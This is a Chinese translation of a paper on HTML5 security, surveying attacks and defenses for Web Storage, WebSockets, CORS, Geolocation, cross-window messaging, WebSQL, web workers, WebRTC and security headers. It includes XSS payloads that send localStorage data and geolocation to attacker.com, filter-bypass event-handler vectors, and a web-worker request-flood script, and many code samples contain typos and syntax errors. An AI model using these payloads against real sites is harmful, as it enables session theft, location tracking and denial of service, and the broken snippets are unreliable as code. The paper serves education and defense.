From:HTML 5 Morden Day Attack And Defense Vectors Autor:Rafay Balochjavascript
摘要php
根據Powermapper出版的統計,他們分析的Web頁面中超過50%使用了HTML5 DOCTYPE,這意味着它們是HTML5 web應用css
HTML5很是流行,因爲它的一些新特性可讓Web應用開發者構建更多的交互式頁面。然而,新特性也意味着新漏洞,本文分析了引入HTML5後的一些新特性及隨之而來的漏洞html
跨站腳本在本文中是一個重點,對HTML5特色的利用能排在第一,由於許多開發者存儲不少敏感數據在客戶端。咱們要討論的特性包括WebStorage, WebSQL, Geoloaction API, CORS, Cross Window Messaging, sandboxes iframes, webworkers等,以及它們被不安全使用時引起的相應漏洞html5
引言java
從HTML4出現至今已經差很少15年了,從那以後發生了不少改變,現在到了HTML5的時代帶來了大量的新特性容許更多的交互性和動態的用戶體驗jquery
爲了提供更多的用戶特性並同時減輕服務器的負擔,HTML5容許開發者將愈來愈多的代碼轉移至客戶端。在HTML5中,第三方的多媒體插件如flash和Sliverlight的使用也減小了,也即減少了第三方插件的攻擊面git
HTML5中引入了幾個新標籤如<audio>, <video>, <svg>, <canvas>, <mathml>等。這些標籤有效的減小了開發者所需作出的努力,也減小了對第三方插件如flash的依賴github
簡單的預覽一次下HTML4和HTML5有什麼不一樣,以下是兩個使用表達驗證的案例web
<html> <script> function validate_input() { var x = document.forms["Form"]["email"].value; var atpos = x.indexOf("@"); var dotpos = x.indecOf("."); if(atpos < 1 || dotpos < atpos +2 || dotpos +2 >= x.length ) { alert("Not a valid e-mail address"); } return false; } } </script> <form id = "form" method="post" onsubmit="return validate_input()"> Email:<input type="text" name="email"> <input type="submit" value="Submit"> </form> </html>
在上面HTML4的例子中,使用了大量的javascript來驗證表單,當開發者須要驗證其餘輸入時,狀況就變得複雜了,有時候還要用正則表達式
HTML5中的表單驗證
HTML5容許開發者使用支持的輸入類型如"EMAIL", "tel", "data"等,會進行自動驗證
<form method="post" id="myform" action="login.php"> <input type="email" name="email"> <input type="submit"> </form>
2. HTML5安全關注
因爲HTML5應用程序大量使用javascript庫促進客戶端的動態交互,所以打開了大量的新攻擊面如XSS和CSRF
HTML5中大多數漏洞都和開發者不安全地使用hTML5特性和將敏感數據存儲在客戶端有關,若是客戶端信息被竊取,很難追蹤攻擊,由於全部事情都發生在客戶端
默認狀況下,HTML5提供了不多或根本沒有提供對SQL注入、XSS、CSRF的保護措施,本文中咱們會經過以下列表中的特性強調若是使用不當會引起什麼樣的漏洞
WEB Storage
Cross Origin Resource Sharing
Offline Web Application
Geolocation API
WEBSQL
Cross Window Messaging
Sandboxed Iframes
WebRTC
2.1 Web Storage Attacks
HTML5中,開發者可使用"Web Storage"方法在客戶端存儲數據,這個方法給網站管理員必定的靈活性在客戶端本地存儲大量數據,並保存很長一段時間,HTML5將web storage分爲兩種不一樣類型:
1) 會話存儲
2) 本地存儲
從概念上來說,它們並沒有多大不一樣,以後將會詳細說明
3.1 會話存儲
會話存儲的概念和cookie相似,不過它能夠存儲5Mb(cokie只能存儲4kb,然而,會話存儲不是經過http請求傳送的,每個域的頁面都有它本身的會話存儲對象。同源策略一樣適用於它,這意味着同源的頁面能夠訪問其餘的會話存儲
相比本地存儲,會話存儲沒那麼持久,根據規範,當出現以下事件之一時會話存儲中的數據將會被刪除:
a.用戶關閉了窗口
b.用戶使用瀏覽器清楚特性刪除存儲
c.Web應用程序經過API調用刪除會話存儲
3.2 本地存儲
本地存儲比會話存儲持久得多,每一個域名只容許一個本地存儲。本地存儲的大小依賴於客戶端使用的瀏覽器,Chrome爲每一個源2.5M,Firefox 5M,IE則爲10M。同源策略也適用於本地存儲,這意味着只有相同源的策略才能夠訪問本地存儲
從安全的角度來看本地存儲十分有趣,由於它不會過時並且即使受害者關閉了瀏覽器依舊存在,甚至瀏覽器歷史記錄被清除了它依然存在着,除非你要求瀏覽器刪除本地存儲
根據規範,當以下狀況之一發生時本地存儲的數據會被刪除:
a. 用戶使用瀏覽器清楚特性刪除存儲
b. Web應用程序經過API調用刪除本地存儲
3.3 本地存儲API
web storage流行的一個緣由是易於使用,能夠經過localStorage API添加、檢索、刪除本地存儲中的項目。本地存儲也能夠經過使用javascript訪問到,以下是使用web storage方法的語法示例
3.3.1 添加項
localStorage.setItem('key','value');
3.3.1 檢索項
localStorage.getItem('key');
3.3.3 刪除項
localStorage.removeItem('key','value');
3.3.4 刪除全部項
localStorage.clear();
3.4 會話存儲API
一樣能夠經過使用會話存儲API添加、檢索、刪除項
3.4.1 添加項
sessionStorage.setItem('key','value');
3.4.2 檢索項
sessionStorage.getItem('key');
3.4.3 刪除項
seesionStorage.removeItem('key','value');
3.4.5 刪除全部項
sessionStorage.clear();
3.5 HTML5 Web Storage的安全關注
a. Web Storage中的數據是未加密的,這意味着存儲在web storage中的任何敏感信息如cookie和代碼都沒法保證其完整性
b. 若是Web應用易遭受跨站腳本攻擊,攻擊者就能夠從web storage中竊取信息
c. 不像cookie,web storage沒有httponly和secure標識,因爲web storage是javascriptapi api,它的設計就是讓javascript訪問web storage
d. 若是存儲在web storage中的數據被寫到使用了脆弱代碼的頁面中,可能會致使DOM型XSS
3.6 經過XSS竊取本地存儲數據
正如前面提到的,一個跨站腳本漏洞就可讓攻擊者從web storage中竊取信息,下面是使用getItem方法竊取會話標識符併發送給攻擊者的POC:
<img src='http://attacker.com/cookie.php?id="+localStorage.getItem('SessionID')+"'>");></img>
下面的載荷能夠竊取全部的本地存儲數據併發送給攻擊者
<script> for( i in localStorage) { var key = i; var value = localStorage.getItem(i); } var d=new Image(); i.src='//attacker.com/stealer.php' + key + value; </script>
3.7 基於DOM的存儲型攻擊
下面列表是常見的基於DOM XSS的輸入源:
document.URL
document.documentURL
document.URLUnencoded
document.baseURL
location
location.href
location.search
location.hash
localtion.pathname
下列是一些常見的容易產生問題的方法、屬性
eval
window.setInterval
document.write
document.body.innerHTML
window.location.href
elem.setAttribute(href | src)
參考:https://code.google.com/p/domxsswiki/wiki/ExecutionSinks
3.8 基於DOM的XSS案例
if(!localStorage.getItem('whereami')){ _whereami = "Inser a new value"; localStorage.setItem('whereami',JSON.stringify(_whereami)); } else{ _whereami = JSON.parse(localStorage.getItem('whereami')); } document.getElementById('result').innerHTML = _whereami; return; }
上面的代碼存在存儲的DOM型XSS,第二行接受參數並將其存儲在"_whereami"變量中。接下來的一行,代碼插入"key"和經過用戶輸入檢索的值到本地存儲中。再接下來,使用innerHTML屬性寫入到頁面中,而這存在存儲的DOM型XSS
4. Websockets攻擊
因爲HTTP協議給實時應用程序引發了很大的負擔,W3C工做組引入了一個新的協議WebSocket以知足應用程序的實時須要
WebSocket協議將已有的HTTP連接升級到WebSocket並使用全雙工連接,容許同時雙向的鏈接。它的到來,實時應用程序的負擔減少到了應用層大約每一個包兩個字節,於是愈來愈多的開發者開始用它
4.1 webSocket攻擊安全關注
4.1.1 拒絕服務問題
因爲其設計,WebSocket協議可被利用引發客戶端和服務器端的資源耗盡
4.1.2 客戶端拒絕服務
根據規範,和HTTP相比,因爲被設計來保存鏈接活躍,WebSocket有一個更高的鏈接限制,此前HTML5開發人員不得不使用keep-alive頭
攻擊者能夠經過WebSocket發送惡意內容,用盡容許的全部Websocket鏈接並引發拒絕服務
不一樣瀏覽器有不一樣的最大鏈接次數,firefox最小爲200,Chrome則爲3200
4.1.3 服務器端拒絕服務
因爲攻擊者能夠從電腦生成大量到服務器的鏈接,還可使鏈接持久,是一個引起資源耗盡的潛在問題
4.1.4 數據機密性問題
WebSocket鏈接能夠創建在未加密和加密的信道上,這取決於websocket如何實施。若是客戶端使用ws://URL協議和服務器端的websocket交互,和服務器通訊及來自服務器的任何東西都能被相同網絡中的攻擊者攔截
參考:https://github.com/RandomStorm/scripts/blob/master/WebSockets.html
4.1.5 WebSocke中的跨站腳本問題
參考: http://kotowicz.net/xss-track/track.js?websocket=1
能夠用於靜悄悄的記錄從WebSocket發送和接收的信息
4.1.6 WebSocket跨站腳本POC
http://example.com/websockets.php?text=<script src=」 http://kotowicz.net/xss-track/track.js?websocket=1」
5. HTML5 XSS向量
除了新標籤,HTML5也有一些新屬性和事件能夠幫助攻擊者繞過一些安全機制,如waf,其依賴於基於黑名單的簽名。其中一個方便的屬性時autofocus,它能夠被事件處理器如onfocus、onblur使用,在沒有用戶交互的狀況下執行javascript
鑑於幾個新的事件處理器被引入了,黑名單被設置爲阻塞全部HTML4的事件處理器,但新的事件處理器能夠被用來避開waf中的黑名單執行javascript,除非使用正則表達式攔截全部on*
5.1 案例1 被阻塞的標籤
在常見標籤如<script>, <object>, <isindex>, <img>或<iframe>被過濾器阻塞的狀況下,HTML5引入了一些新標籤能夠繞過黑名單
<video onerror="javascript:alert(1)"><source>
<audio onerror="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
5.2 案例2 屬性上下文
當尖括號(開、閉)被過濾掉時,正常上下文就沒法實現XSS了。然而,有時候輸入在屬性元素中被反射,HTML5時間處理器能夠在沒有交互的狀況下執行javascript代碼,一樣也能夠繞過基於黑名單的保護
5.2.1 下面場景中,開、閉尖括號都被過濾
<input type=」text」 value=」yourinput」>
下面的XSS向量能夠在沒有用戶交互的狀況下執行javascript
" onfocus=alert(1) autofocus x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus x="
標記完成後即爲:<input type=」text」 value=」」 autofocus onfocus=alert(1) a=」」>
6. CORS 垮域資源共享
要理解跨域資源共享,首先須要理解同源策略,所謂同源即指相同協議、相同域名、相同端口
值得注意的是,同源策略並不適用於CSS、圖片等,僅當javascript視圖訪問其餘源的文檔內容時同源策略才被觸發
6.1 Crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="targeta.com"/>
</cross-domain-policy>
6.2 什麼是CORS
因爲兩個不一樣源的頁面沒法相互通訊,即使它們有相互信任關係,HTML5中引入了CORS,容許跨域http請求,更重要的是跨域AJAX請求
6.3.1 例
假設a.com的頁面想使用CORS訪問b.com的頁面內容,瀏覽器首先發送一個來源請求定義想通訊的網站來源
Origin: http://a.com
若是b.com容許來自a.com的跨域請求,它會在響應中返回一個Control-Allow-Origin頭,提示該域被容許訪問b.com的資源
Access-Control-Allow-Origin: http://www.a.com
6.3.2 安全問題
以下設置是不安全的:Access-Control-Origin:*
6.3.3 POC
<div id = "results"></div>
<script>
var cor = new XMLHttpRequest();
cor.onreadystatechange = function()
{
document.getElementById('result').innerHTML = cor.responseText;
}
cor.open('GET','http://b.com/cors.php');
cor.send();
</script>
</div>
//cors.php
//<?php header('Access-Control-Allow-Origin: *'); ?>
//<p>This file is hosted at targetb.com to demonstrate that it’s accessible via cross origin requests</p>
7. GeoLocation API
HTML5中可使用GeoLocation API追蹤用戶的地理位置,固然這得用戶贊成,否則會引起隱私問題
7.1 安全關注
Geolocation的一個主要問題是跨站腳本攻擊,由於追蹤地理位置的對象放在javascript能夠訪問的DOM中
因爲用戶大多信任網站,他們會信任該請求並分享他們的位置,更糟糕的是,除非用戶關閉追蹤,瀏覽器會持續暴露受害者的位置給攻擊者
7.1.1 例
假設攻擊者在一個著名網站上發現了XSS漏洞如w3school.com,他所需作的就是讓受害者執行下列代碼片斷竊取位置信息
<script> var function getLocation() { navigator.getlocation.getCurrentPosition(showPosition); } function showPosistion(position) { var pos = "Latitude:" + postion.coords.latitude + "<br>Longitude" + postion.coords.longitude; location.href = 'http://attacker.com/stealer.php?pos='+pos; } getLocation(); </script>
上面的代碼使用DOM屬性coords.latitude和coords.longitude分別獲取latitude/longitude,一旦受害者執行了javascript就會收到瀏覽器的通知信息
8. 客戶端RFI
CORS除了配置不當容許任何其餘域的站點能訪問頁面信息,還會觸發XSS
8.1 漏洞示例
<html> <body> <script> var url = location.hash.substring(1); var xhr = new XMLHttpRequest(); xhr.open("GET",url,true); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr,status == 200){ document.getElementById("main").innerHTML = xhr.responseText; } }; xhr.send(null); </script> </body> </html>
上面的代碼使用location.hash屬性載入合法內容,如http://target.com/#index,若是配置不當,就可能變成http://target.com#//evidata.com,使用innerHTML屬性插入到DOM中,引起DOM XSS
假設evildata.com上的腳本XSS.php,代碼爲:
<?php
header('Access-Control-Allow-Origin:*');
?>
<div id = "main">
<img src=x onerror = alert(document.cookie) />
</div>
當請求爲http://target.com/#//evildata.com/xss.php時,就會觸發DOM XSS
8.2 更安全的示例
<html> <body> <script> var allowed = ["/", "/index","test"]; var index = location.hash.substring (1) | 0; var xhr = new XMLHttpRequest(); xhr.open ("GET", allowed[index] | | '/', true); xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) { div.innerHTML = xhr.responseText; } }; xhr.send (null); </script> </body> </html>
9. 跨窗口消息
9.1 發送者的窗口
假設a.com上的窗口想發送消息給b.com的監聽窗口,發送消息的代碼:
window.postMessage("message","a.com");
9.2 接受者的窗口
首先要創建一個接收器:
window.addEventListener("message",receiveMessage,false);
receiveMessage function(event){
if (event.origin != "http://a.com"){
return;
}
else{
event.source.postMessage("Message received");
}
}
9.3 安全關注
來源沒有檢查:
window.addEventListener ("message", receiveMessage, false);
receiveMessage function (event) {
event.source.postMessage("Message recieved");
}
DOM型XSS:使用DOM方法顯示數據,會致使DOM XSS,當使用了eval(),document.write等時
<script>
window.onmessage = fuction(e){
if (e.origin !== "http://html5demos.com")
{
return;
}
document.getElementByID("test").innerHTML = e.origin + " said: " + e.data;
};
</script>
10. Sandboxed Iframes
默認狀況下,正常的normal會從目的地加載全部內容包括HTML,CSS和javascript。隨着sandboxed iframe的到來,咱們能夠聲明被加載到iframe的內容:
<iframe sandbox src = "http://evil.example.com/"></iframe>
使用sandbox屬性從iframe嵌入網站,它會阻止javascrip執行;若是想執行javascript,能夠:
<iframesandbox="allow-scripts" src="http://evil.example.com/"></iframe>
10.1 關注
if(window!==window.top){window.top.location = location;}
上面這行代碼會阻止網站被加載到iframe,然而若是使用了沙箱化的iframe,上面的代碼就不起做用,推薦使用X-frame-options
11. 線下應用程序
默認狀況下,正常瀏覽器緩存不會讓你緩存全部文件,引入HTML5應用緩存後,站長被容許緩存任何文件,而且是一段更長的時間。應用程序緩存被建立用於線下瀏覽Web應用程序,能夠顯著減輕服務器負擔,瀏覽器也只會下載更新後的內容
開啓該功能須要使用線下manifest文件:
<!DOCTYPE HTML>
<html manifest="example.appcache">
</html>
manifest文件的結構以下:
Cache manifest: //必須遵循,指定被緩存的文件
/style.css
/script.js
example.jpg
NETWORK: //指示瀏覽器那個頁面永遠不被緩存或沒法經過offline用途獲取
admin.php
autheticated.php
FALLBACK: //可選,若是因爲網絡緣由不可訪問某個頁面時,url回調offline.html
//offline.html
11.2 安全關注
主要關注在於使用長時間的應用程序緩存能夠實施緩存毒化 //服務器返回404會致使緩存被刪除
12. WebSQL
WebSQL目的單一,建立如今應用程序以容許客戶端更大的存儲空間
3個核心方法:
1. openDatabase --用於訪問已有的或新的數據庫
2. transaction --容許你控制事物
3. executeSQl --用於執行SQL查詢
12.1 安全關注
主要關注:SQL注入、跨站腳本
12.2 SQL注入
歷史上的SQL注入只對應於服務器端腳本語言,因爲WebSQL的緣故咱們能夠在客戶端存儲數據並和數據庫交互,必須經過javascript調用本地數據庫。開發者如使用動態查詢而不是預處理語句就會致使SQl注入
不安全:t.executeSql("SELECT passwoed From users where id = " + id);
安全的:t.executeSql("select password from users where id = ?",[id]);
客戶端事物SQL注入,咱們被限制於inert、update、delete數據庫數據,攻擊者不可能經過客戶端SQL注入從數據庫檢索數據,其影響取決於存儲在數據庫中的數據[重寫應用程序要讀取的數據]
12.3 跨站腳本
a. 用戶輸入在插入到數據庫前未過濾且渲染給了用戶,隨後引起XSS漏洞;
b. 用戶輸入被過濾,渲染輸出後爲被轉義,致使XSS漏洞;
12.3.1 示例
function(tx) { tx.executeSql('select * from tweet_db',[],function(tx,result); { var inv_i = result.rows.length -1; for(i = (results.rows.lenght-1); i >= 0; i--) { t = t + "<p><div class='tw'>" = result.rows.items(i).tweet + "</div></p>"; } document.getElementById('result').innerHTML = t; } }
13. SVG (Scalable Vector Graphics)
HTML5中可直接嵌入SVG
<!DOCTYPE HTML >
<html>
<body>
<h1>Pseudo_Z SVG </h1>
<svg width="100" height="100">
<circle cx = "50" cy = "50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
</body>
</html>
SVG文件容許活躍內容如javascript被執行[做爲一個普遍的攻擊面],圖片或img標籤裏的SVG文件不會執行javascript,如<img src= http://tartgetdomain.com/pic.svg>
然而,若是受害人下載了SVG圖形並用瀏覽器打開,嵌入的javascript便會執行,能夠用來讀取本地文件、加載java applets等
14. Webworkers
HTML5以前,DOM和javascript以單線程運行,當執行頁面中大量javascript時引發了不少問題,使得在腳本所有加載以前沒法響應。隨着Webworkers的引入,如今能夠多線程運行javascript
webworkers沒有對ODM元素的訪問,若是有的話會引發並行性問題,然而它一般容許咱們用XHR發送域內或跨域請求
14.1 建立Webworker
var w =new Worker("worker.js");
14.1.1 發送/接收消息
<!DOCTYPE HTML> <html> <head> <script> var worker=new Worker("worker.js"); // Creating a new worker thread to load javascript. worker.postMessage("foo"); // Using postMessage to send a message to webworkers. worker.onmessage=function(evt){ // Function receive data from worker.js document.getElementById("result").innerHTML=evt.data; // Outputting the data. } </script> <p><b>Data received from Webworker:</b></p><div id="result"></div> <head> </body> </html>
//worker.js
onmessage = function(evt){ //function used to receive data from the main thread
var w = evt.data; //the received data is saved to evt.data
postMessage(w); // it's the posted back to the main thread
}
14.2 跨站腳本漏洞
var worker = new Worker("worker.js"); worker.postMessage("foo"); worker.onmessage = function(evt){ document.getElementById("result").innerHTML = evt.data; } var g_w = new XMLHttpRequest(); g_w.open("GET","www.espncricinfo.com/get_score.php"); g_w.send(); g_w.onreadystatechange = function() { if(g_w.readyState == 4) { if (parseint(g_w.responseText) > 100) { postMessage(g_w.responseText); } } }
14.3 分佈式拒絕服務攻擊
鑑於webworkers能夠用來發送跨域請求,DOS背後的想法是使用多個webworker,對特定域名發送多個請求,Chrome和Safari每分鐘能夠發送超過10k個跨域請求
若是能夠誘騙別人訪問某個頁面,就能夠發送大量請求;若目標網站收到的請求不是來自白名單中的域,瀏覽器便不會讓攻擊者發送更多的請求
//Dos.html --> 後臺建立一個worker,來自event.data的響應經過innerHTML屬性寫入到DOM中
<html> <script> var w = new Worker('Dos.js'); w.onmessage = function(event) { document.getElementById('out').innerHTML = event.data; } function start() { w.postMessage(1); } </script> <input type = "submit" onclick="start()"> <div id="out"></div> </html>
//Dos.js
inmessage = function(event){start()}
function start()
{
var i = 0;
var st = (new Data).getTime();
while(i<5000)
{
var cor = new XMLHttpRequest();
cor.open('GET','http://targetfordos.com');
cor.send();
}
msg = "Completed " + i + " requests in " + (st - (new Date).getTime()) + "miliseconds";
postMessage(msg);
}
14.4 分佈式密碼破解
這個問題自己並非webworker的漏洞,更多的是設計缺陷。HTML5以前,javascript被認爲不適合用來作密碼破解,由於它在瀏覽器中是單線程,若是運行次數太多的話會讓瀏覽器宕掉。有了webworkers,狀況發生了改變,瀏覽器不會宕掉
"Ravan"
15. 竊取自動完成功能存儲的用戶數據
HTML5的自動完成是將表單輸入緩存起來,並在下一次輸入時進行預測
保存的自動填充域的數據沒法經過javascript訪問,它並非DOm的一部分,然而仍是能夠經過社會工程等方法收集到這些信息
16. 掃描私有地址
HTML5有一個特性叫WebRTC,因爲其設計,能夠用來掃描私有地址,發現本地區域網絡的其餘主機,指紋識別路由器
16.1 WebRTC
WebRTC是Web Real Time Communication,用於使能一實時通訊插件如voice和video。應用程序如Skype,facebook早已使用實時通訊,然而他們都要求插件能有效地工做。安裝和調試插件須要巨大的工做量,WebRTC的引入,使得它大大減小了
WebRTC的一大功能就是能發現本地IP:
<script> // NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23 var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function () { var rtc = new RTCPeerConnection({iceServers:[]}); if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed rtc.createDataChannel('', {reliable:false}); }; rtc.onicecandidate = function (evt) { if (evt.candidate) grepSDP(evt.candidate.candidate); }; rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); }, function (e) { console.warn("offer failed", e); }); var addrs = Object.create(null); addrs["0.0.0.0"] = false; function updateDisplay(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); document.getElementById('list').textContent = displayAddrs.join(" or perhaps ") || "n/a"; } function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 addr = parts[4], type = parts[7]; if (type === 'host') updateDisplay(addr); } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 var parts = line.split(' '), addr = parts[2]; updateDisplay(addr); } }); } })(); else { document.getElementById('list').innerHTML = "<code>ifconfig | grep inet | grep -v inet6 | cut -d\" \" -f2 | tail -n1</code>"; document.getElementById('list').nextSibling.textContent = "In Chrome and Firefox your IP should display automatically, by the power of WebRTCskull."; } </script>
17. 安全頭部增強安全性
17.1 X-XSS-Protection
Chrome、IE等瀏覽器都有本身的XSS過濾器,且默認是開啓的,服務器能夠經過其請求控制該策略的開關
a. X-XSS-Protection:0 -->如響應中包含這個頭部,它會指示瀏覽器關閉XSS filter
b. X-XSS-Protection:1 -->如響應中包含這個頭部,它會指示瀏覽器開啓XSS filter
c. X-XSS-Protection: 1; mode = block --> 開啓XSS filter,如XSS漏洞檢測到則顯示空白
17.2 X-Frame-Options
X-Frame-Options不只能使你免於點擊劫持漏洞,還有無數XSS漏洞的變種
X-Frame-Options:DENY -->瀏覽器不會加載iframe中的應用
X-Frame-Options:SAMEORGIN --> 僅當同源時,纔會加載ifrmre裏面的內容
X-Frame-Options:ALLOW-FROM URL http://target.com -->僅容許指定加載到iframe的應用中
17.3 Strict-Transport-Security
Strict-Transport-Security: max-age=31536000 // 過時時間,單位秒
Strict-Transport-Security: max-age=31536000; includeSubDomains //子域名都用https
17.4 X-Content-Type-Options
由服務器返回,控制內容被瀏覽器渲染的方式,eg. //IE六、IE7沒法識別
Content-Length:94
Content-Type:application/json;charset = utf-8
{
"name":"Pseudo_Z",
"value":"<img src=x onerror=prompt(1)>"
}
X-Content-Type-Options:nosniff
17.5 CSP [Cotent-Security-Policy]
X-Content-Security-Policy: script-src http://code.jquery.com/jquery-1.11.0.min.js;
default-src :沒有明肯定義其餘指令時的默認指令
script-src :用於定義全部腳本中的白名單
style-src :用於定義全部樣式表的白名單
img-src :定義圖片資源的白名單
frame-src :定義frame資源的白名單
'none': 不容許任何來源的訪問
'self'; 僅容許同源訪問
'unsafe-inline':容許如scripts/style的內聯javascript訪問
'unsafe-eval':容許使用eval(),settimeout等
eg. allow ‘self’; img-src *; object-src self; script-src userscripts.js; report-uri http://target.com/report.cgi //策略被違反是會觸發報告